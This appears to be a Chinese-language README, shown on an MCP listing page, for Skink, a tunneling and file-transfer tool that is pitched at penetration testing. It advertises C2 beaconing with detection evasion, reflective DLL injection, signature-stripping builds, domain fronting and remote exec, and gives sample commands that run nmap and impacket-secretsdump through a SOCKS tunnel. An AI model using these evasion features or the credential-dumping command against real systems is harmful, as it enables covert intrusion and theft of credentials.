内容
# 加密文件传输与隧道平台
<p align="center">
<img src="img/skink.png" alt="Skink logo" width="100%">
</p>
**Skink** 是一款文件传输工具,**同时**也是一款功能齐全的反向隧道平台(类似 ngrok、frp、Chisel)。移动文件,暴露本地服务,或通过单个加密隧道路由整个工具链。
灵感来自 croc — 扩展了 SOCKS5 代理,多跳中继链,WSS 传输,Noise 协议加密,SSH 网关,基于 STUN 的 P2P 和操作安全性的规避功能。
> 📖 **深入文章:** [*Skink:从安全文件传输到全频段 OPSEC 隧道平台*](https://octagono.org/blog/skink/) — 一篇全面的技术深度文章,涵盖了架构,设计决策和所有传输,隧道类型和规避功能的操作用例。
## 快速开始
```bash
skink send file.txt # 发送文件
skink receive # 接收文件
skink relay --tunnel-port 9090 # 启动带有隧道支持的中继
skink tunnel --server relay:9090 --type tcp --local localhost:22 # 暴露 SSH
skink tunnel --server relay:9090 --type socks5 --socks5-port 1080 # SOCKS5 代理
skink exec --server relay:9090 -- ls -la /etc # 远程执行 relay
skink noise-keygen # 生成 Noise 密钥对
```
## 功能
### 文件传输
- 端到端加密文件传输(PAKE + NaCl secretbox)
- 多文件,文件夹,文本粘贴
- 恢复中断的传输
- 本地 LAN 发现
### 隧道平台
| 功能 | 用法 | 描述 |
|---|---|---|
| **HTTP 隧道** | `--type http` | 通过公共 URL 暴露本地 Web 服务器 |
| **TCP 隧道** | `--type tcp` | 转发任何 TCP 服务(SSH,RDP,反向 shell) |
| **UDP 隧道** | `--type udp` | 多路复用流上的数据包分帧 |
| **SOCKS5 代理** | `--type socks5` | 通过一个隧道路由所有工具(nmap,curl,impacket) |
| **P2P 隧道** | `--type p2p` | STUN 辅助的直接对等连接 |
| **私有隧道** | `--private` | 无公共端口 — 仅凭令牌访问 |
| **SSH 网关** | `--ssh-gateway-port` | 通过标准 `ssh -R` 注册隧道 — 客户端无需 Skink 二进制文件 |
### 传输
| 传输 | 标志 | 用例 |
|---|---|---|
| TCP(默认) | `--transport tcp` | 标准,最低开销 |
| WSS | `--transport wss` | WebSocket 安全 — 绕过 DPI,utls Chrome JA3 指纹 |
| QUIC | `--transport quic` | HTTP/3 传输 — 原生多路复用(无队头阻塞),1-RTT TLS 1.3 |
| 命名管道 | `--transport pipe` | Windows SMB 横向移动(合法的管道名称) |
### 隐身与规避
| 功能 | 实现 |
|---|---|
| **TLS 指纹伪装** | utls — Chrome 131 JA3 在线,不为 Go 的 crypto/tls |
| **Noise 双加密** | Noise NK 握手 *内部* WSS — 生存于 TLS 检查代理 |
| **覆盖流量** | 随机 Slack/Teams/通用流量,间隔可配置 |
| **混淆模糊构建** | `make build-stealth` — 剥离 Go 运行时 YARA 签名 |
| **反射 DLL 注入** | `make build-dll` + `scripts/load.ps1` — 无进程创建事件 |
| **命名管道规范化** | 37 个合法的 Windows 管道名称(eventlog,spoolss,lsarpc) |
### 多跳中继链
为操作安全链式中继:**目标 → 中继-C → 中继-B → 中继-A → 您**
```bash
skink relay --tunnel-port 9090 # 边缘(公共)
skink relay --tunnel-port 9091 --upstream edge:9090 # 中间(枢纽)
skink tunnel --server pivot:9091 --type socks5 # 目标
```
每个中继只知道下一个跳跃。中继分配端口并处理连接。
### 私有隧道共享
通过中继 **无需公开端口** 暴露服务。访问仅凭令牌 — 无需扫描 URL,无需探测端口。
```bash
# 中继侧:注册私有隧道
skink tunnel --server relay:9090 --type tcp --local localhost:22 --private
# 输出包括访问令牌(例如 "access_token: a1b2c3d4...")
# 中继上不分配公共端口。
# 客户端侧:连接到私有隧道
skink tunnel --server relay:9090 --access a1b2c3d4... --local localhost:2222
# 现在 ssh user@localhost:2222 通过中继路由到私有服务
```
- 无公共端点暴露 — 服务对互联网扫描器是隐藏的
- 访问令牌是唯一的授权;中继无法解密有效载荷
- 与所有隧道类型(TCP,HTTP,UDP)配合使用
- 桥接使用通过中继数据端口的现有 yamux 多路复用
### REST API
通过中继上的本地 HTTP API 以编程方式管理隧道。
```bash
# 启动带有 API 启用的中继
skink relay --tunnel-port 9090 --api-port 9093 --api-token my-secret-token
# 列出所有隧道
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels
# 获取特定隧道
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/<id>
# 删除隧道
curl -X DELETE -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/<id>
# 服务器状态
curl http://127.0.0.1:9093/api/v1/status
```
绑定到 `127.0.0.1`。Bearer 令牌身份验证是可选但推荐的。
端点返回 JSON。无需 Web 仪表盘依赖 — 通过 jq 或任何 HTTP 客户端管道传输。
### 配置热重载
无需重启隧道即可更改路由规则,心跳参数或分段隧道 CIDR。
```bash
# 启动隧道并启用热重载
skink tunnel --config skink-tunnel.yaml --watch
```
编辑 `skink-tunnel.yaml` 同时隧道运行 — 对 `routes`,`bypass_routes`,`heartbeat_interval` 和 `heartbeat_jitter` 的更改立即生效。活动连接不会被丢弃。监视器内部使用 fsnotify。
```yaml
# 示例:更新路由,编辑此文件
server: relay:9090
type: socks5
heartbeat_interval: 60
routes:
- 10.0.0.0/8
bypass_routes:
- 0.0.0.0/0
```
### 分段隧道路由
### 通过中继远程执行
```bash
skink exec --server relay:9090 -- ls -la /etc
skink exec --server relay:9090 -- cat /etc/os-release
skink exec --server relay:9090 -- id
```
命令在中继(或隧道目标)上运行。结构化 JSON 响应包含
stdout,stderr 和退出代码。使用 yamux `EXEC|` 前缀流。
### C2 信标模式
具有长随机签到间隔和磁盘状态的持久隧道。
```bash
skink tunnel --server relay:9090 --type socks5 --c2 --c2-interval 30 --c2-state ./state.json
```
- 以 30 分钟 ±50% 随机间隔重新连接(规避信标检测)
- 持久化隧道 ID,子域,令牌在磁盘上
- 生存于重启和网络更改
- 默认情况下 `skink-c2-state.json` 状态文件
### 通过中继端口扫描
```bash
skink scan --server relay:9090 --target 10.0.1.50 --ports 22,80,445,3389
```
### Cloudflare Worker(域名前端)
在 Cloudflare Workers 上部署 `scripts/skink-worker.js`:
```bash
wrangler deploy scripts/skink-worker.js
skink tunnel --server my-worker.workers.dev --transport wss --type socks5
```
流量表现为合法的 Workers 流量 — 中继地址从未出现在 DNS 或 TLS 握手中。
### Docker 部署
```bash
# 使用 docker-compose 启动中继:
docker compose up -d
# 或手动:
docker build -t skink .
docker run -d --name skink-relay \
-p 9009-9013:9009-9013 \
-p 9090:9090 -p 9091:9091 \
-p 8080:8080 \
-e SKINK_PASS=changeme \
skink
```
多阶段 Dockerfile,带有健康检查和 Prometheus 配置的 docker-compose。
### JSON 结构化日志
```bash
skink relay --log-format json | jq 'select(.level == "error")'
skink tunnel --log-format json | jq -c '{msg: .message}'
```
新行分隔的 JSON:`level`,`message`,`timestamp`,`app`。通过
jq 进行过滤 — 无需 Web 仪表盘。
### MCP 服务器(AI 代理集成)
Skink 配备了 MCP(模型上下文协议)服务器,允许 AI 代理
使用 Skink 的功能作为原生工具。
```bash
# 构建 MCP 服务器二进制文件
make build-mcp
# 启动 MCP 服务器(stdio 传输)
skink-mcp
```
代理通过 **11 个工具** 和 **5 个资源** 与 Skink 通信:
| 工具 | 描述 |
|---|---|
| `send_file` | 带有路径验证的加密文件传输 |
| `receive_files` | 接收带有验证码的文件 |
| `tunnel_start` | 暴露本地服务(公共或私有) |
| `tunnel_stop` | 按 ID 停止隧道 |
| `tunnel_list` | 列出中继上的活动隧道 |
| `tunnel_access` | 连接到私有隧道 |
| `relay_start` | 启动中继服务器 |
| `scan_ports` | 通过中继扫描端口 |
| `generate_code` | 生成随机传输代码 |
| `noise_keygen` | 生成 Noise 密钥对 |
| `version` | 获取 Skink 版本 |
**客户端配置:**
<table>
<tr><th>OpenCode(opencode.jsonc)</th><th>Claude Desktop</th></tr>
<tr>
<td>
```json
"mcp_servers": {
"skink": {
"command": "skink-mcp",
"args": []
}
}
```
</td>
<td>
```json
"mcpServers": {
"skink": {
"command": "/path/to/skink-mcp"
}
}
```
</td>
</table>
**资源**(由代理加载为上下文):
| URI | 描述 |
|---|---|
| `skink://version` | 二进制版本信息 |
| `skink://help` | 命令摘要 |
| `skink://tunnels/{server}` | 中继上的活动隧道 |
| `skink://status/{server}` | 中继状态和指标 |
| `skink://relay/config` | 默认配置引用 |
#### 架构
MCP 服务器通过 `os/exec` 包装 `skink` CLI,并带有 `--agent` 标志。
这提供进程隔离(文件传输中的崩溃不会导致
代理会话问题),避免循环 Go 导入问题,并充分利用
结构化 `--output json` 格式。
所有文件操作仅限于可配置的工作目录。
隧道连接可以限制为中继主机允许列表。
命令运行带有可配置的超时 `exec.CommandContext`.
### AI 代理模式
Skink 设计用于 AI 代理和自动化使用。每个命令都支持
结构化 JSON 输出和语义退出代码。
```bash
# 单个标志启用所有代理友好默认值
skink --agent --version
# → {"status":"ok","data":{"version":"v10.4.13","commit":"abc123"}}
# 所有命令的结构化输出
skink --agent send file.txt
# → {"status":"ok","data":{"code":"...","url":"..."}
# 错误处理退出代码
skink send --code bad
# 退出代码 2(身份验证失败) — 代理可以分支代码
# 每个命令的 JSON 输出(无代理模式)
skink send --output json file.txt
skink tunnel --server relay:9090 --output json
```
#### 退出代码
| 代码 | 含义 | 代理操作 |
|---|---|
| `0` | 成功 | 继续 |
| `1` | 一般错误 | 检查 stderr,重试或中止 |
| `2` | 身份验证失败 | 旋转凭证,刷新令牌 |
| `3` | 网络错误 | 带有指数回落重试 |
| `4` | 错误输入 | 验证参数,文件路径,配置 |
| `5` | 超时 | 增加超时或稍后重试 |
| `6` | 不可用 | 资源未找到 |
#### 输出格式
| 标志 | 效果 |
|---|---|
| `--output json` / `-o json` | 将结果包装在 `{"status":"ok","data":{...}}` 封套中 |
| `--output text` | 默认人类可读输出 |
| `--agent` | 设置 `--quiet --log-format json --output json --yes` 在一个标志中 |
| `--version --output json` | 结构化版本元数据用于二进制文件预检查 |
### 构建系统
```bash
# 标准构建:
make
# 隧道 (~2MB with UPX):
make build-tunnel
# 传输仅限(无隧道):
make build-transfer
# MCP 服务器用于 AI 代理集成(Claude,Cursor,OpenCode):
make build-mcp
# 完整的模糊构建(garble + 随机种子 + strip + UPX):
make build-stealth
# 跨平台发布矩阵(linux/darwin/windows, 多架构):
make release
# ./build/ with SHA256 checksums
# 软件物料清单:
make sbom
# Lint,vet,格式:
make check
```
### 内存和性能调优
```bash
# 减少约束目标的 yamux 缓冲区:
skink relay --yamux-window 1048576
skink tunnel --server relay:9090 --yamux-window 2097152
# 设置 Go 内存限制以避免 OOM 在约束系统上:
GOMEMLIMIT=50MiB skink tunnel --server relay:9090`
**yamux 窗口:** 默认 16MB。较低 = 连接内存较少。较高 = 高延迟链接上的更多吞吐量。 作为经验法则,设置为 `bandwidth × RTT`(带宽延迟产品)。对于接口的 100ms RTT 链路,1.25MB 足够。 对于 1Gbps 的跨大陆链接,考虑 64MB。**
**缓冲区池:** 所有隧道代理流使用 32KB 缓冲区的 `sync.Pool` 而不是每个流分配。 这消除了在隧道中持续传输的 GC 内存分配问题。
**GOMEMLIMIT(Go 1.19+):** 设置硬内存上限。 Go runtime 仅在接近限制时才积极触发 GC。 在限制下,GC 运行频率较低,减少 CPU 开销。 将其设置为可用 RAM 的 80%,以获得最佳性能。
**TCP_NODELAY:** 在所有隧道 TCP 连接上禁用 Nagle 算法 — 确保 SSH 密钥被立即发送,而不是缓冲。
**零拷贝(Linux):** TCP 到 TCP 代理路径使用 `splice(2)` 通过内核管道缓冲区,绕过用户空间。 文件到套接字传输使用 `sendfile(2)`。 非 Linux 平台和非 TCP 连接(WSS,QUIC,命名管道)回退到池化的 `io.CopyBuffer`。
**QUIC 传输:** `--transport quic` 使用 HTTP/3 和原生多路复用 — 单个流上的丢失数据包不会阻塞其他流(无队头阻塞)。 1-RTT TLS 1.3 握手。 无需 yamux 层。
**完整的 ICE/TURN P2P:** `--type p2p` 隧道使用完整的 ICE 候选者收集(主机 + 服务器反射 + 中继)。 如果直接打孔失败,则回退到 TURN 中继。 使用 `--turn-server`, `--turn-user`, `--turn-pass` 进行配置。
**路径修复:** 多跳中继链自动修复。 当中间中继断开时,`PathTable` 自动查找替代路由。 中继通过广告/撤销协议宣传可达隧道。
**模糊测试:** 运行 `make fuzz` 以使用随机输入锻炼所有入口解析器(流标头,消息帧,YAML 配置,mnemonicode)30 秒。
## 详细用法
### 发送文件
```bash
skink send file.txt
skink send file1.txt file2.txt
skink send --code secret-pass file.txt
skink send folder-name
```
### 接收文件
```bash
skink receive
skink secret-pass
```
### 使用中继
```bash
skink send --relay myrelay.example.com:9009 file.txt
skink receive --relay myrelay.example.com:9009
```
### 使用代理
```bash
skink --socks5 "127.0.0.1:9050" send file.txt
skink --connect "http://proxy:8080" send file.txt
```
### 隧道用法
```bash
# 带有健康检查,指标和度量的中继,隧道支持
skink relay --tunnel-port 9090 --tunnel-http-port 8080 \
--health-check-interval 30 --metrics-port 9091
# 暴露本地服务
skink tunnel --server relay:9090 --type http --local localhost:3000
skink tunnel --server relay:9090 --type tcp --local localhost:22 --password secret
skink tunnel --server relay:9090 --type udp --local localhost:1194
# SOCKS5 — 通过隧道路由任何工具
skink tunnel --server relay:9090 --type socks5
# proxychains4 nmap -sT -Pn 10.0.1.0/24 -p 445
# proxychains4 impacket-secretsdump DOMAIN/user@10.0.1.10
# 带有 TLS 包装,规避心跳和 Noise
skink tunnel --server relay:9090 --type socks5 --transport wss \
--cover-profile slack --heartbeat-interval 300 --heartbeat-jitter 0.5
# P2P(STUN 辅助)
skink tunnel --server relay:9090 --type p2p --local localhost:8080
# SSH 网关(使用标准 SSH 客户端注册隧道)
skink relay --tunnel-port 9090 --ssh-gateway-port 9022
ssh -R 8080:localhost:3000 user@relay -p 9022
```
### 配置文件
```yaml
# skink-tunnel.yaml
server: relay.example.com:9090
type: tcp
local: localhost:22
tls: true
tls_skip_verify: true
heartbeat_interval: 300
heartbeat_jitter: 0.5
private: false # 启用私有隧道模式
access_token: "" # 用于连接私有隧道
routes: # 分段隧道 CIDR
- 10.0.0.0/8
bypass_routes: # 绕过隧道 CIDR
- 0.0.0.0/0
```
```bash
skink tunnel --config skink-tunnel.yaml # 加载配置
skink tunnel --config skink-tunnel.yaml --watch # 加载 + 热重载更改
```
## 隐私和安全
- **加密:** PAKE(密码身份验证密钥交换)+ NaCl secretbox(XChaCha20-Poly1305)
- **零知识中继:** 中继无法解密传输的数据
- **Noise 协议:** 可选的 NK 握手,用于通过 TLS 检查进行双加密
- **身份验证选项:** 密码,承载令牌,SSH 公钥
- **速率限制:** 每 IP 令牌桶,IP 允许列表,连接上限
## 构建质量
```bash
make build # 标准构建
make build-mcp # 用于 AI 代理集成的 MCP 服务器
make build-stealth # 带有随机 garble 种子,剥离和 UPX 的模糊二进制
make release # 跨平台发布矩阵 + SHA256 校验和
make test # 运行测试
make test-race # 运行测试并启用竞争检测
make test-cover # 覆盖率报告
make lint # golangci-lint
make vet # go vet
make fmt # 检查格式
make check # lint + vet + format
make sbom # 软件物料清单
```
## 许可
MIT
## 合法和伦理使用
Skink 是一款用于合法安全研究,渗透测试和操作安全的工具。 提供加密文件传输和隧道功能,但如果滥用,也可用于未经授权的网络访问。
**您同意:**
1. 您只会在您拥有或有明确书面授权测试的系统上使用 Skink。
2. 您独自负责遵守所有适用的本地,国家,联邦和国际法律。
3. 作者和贡献者不承担因滥用此工具而造成的任何损害或法律后果。
4. Skink 的隐身和规避功能旨在为授权操作提供防御深度 — 而不是在未经许可的情况下绕过安全控制。
5. 未经许可访问计算机系统在计算机欺诈和滥用法(CFAA)和世界各地的类似法律下是非法的。
---
*灵感来自 croc。为仅限授权操作使用而构建。*
MCP 配置
以下是此 MCP Server 的配置信息,可直接复制到 Cursor 或其他 MCP 客户端中使用。
mcp.json
连接信息
猜你喜欢
暂无推荐服务器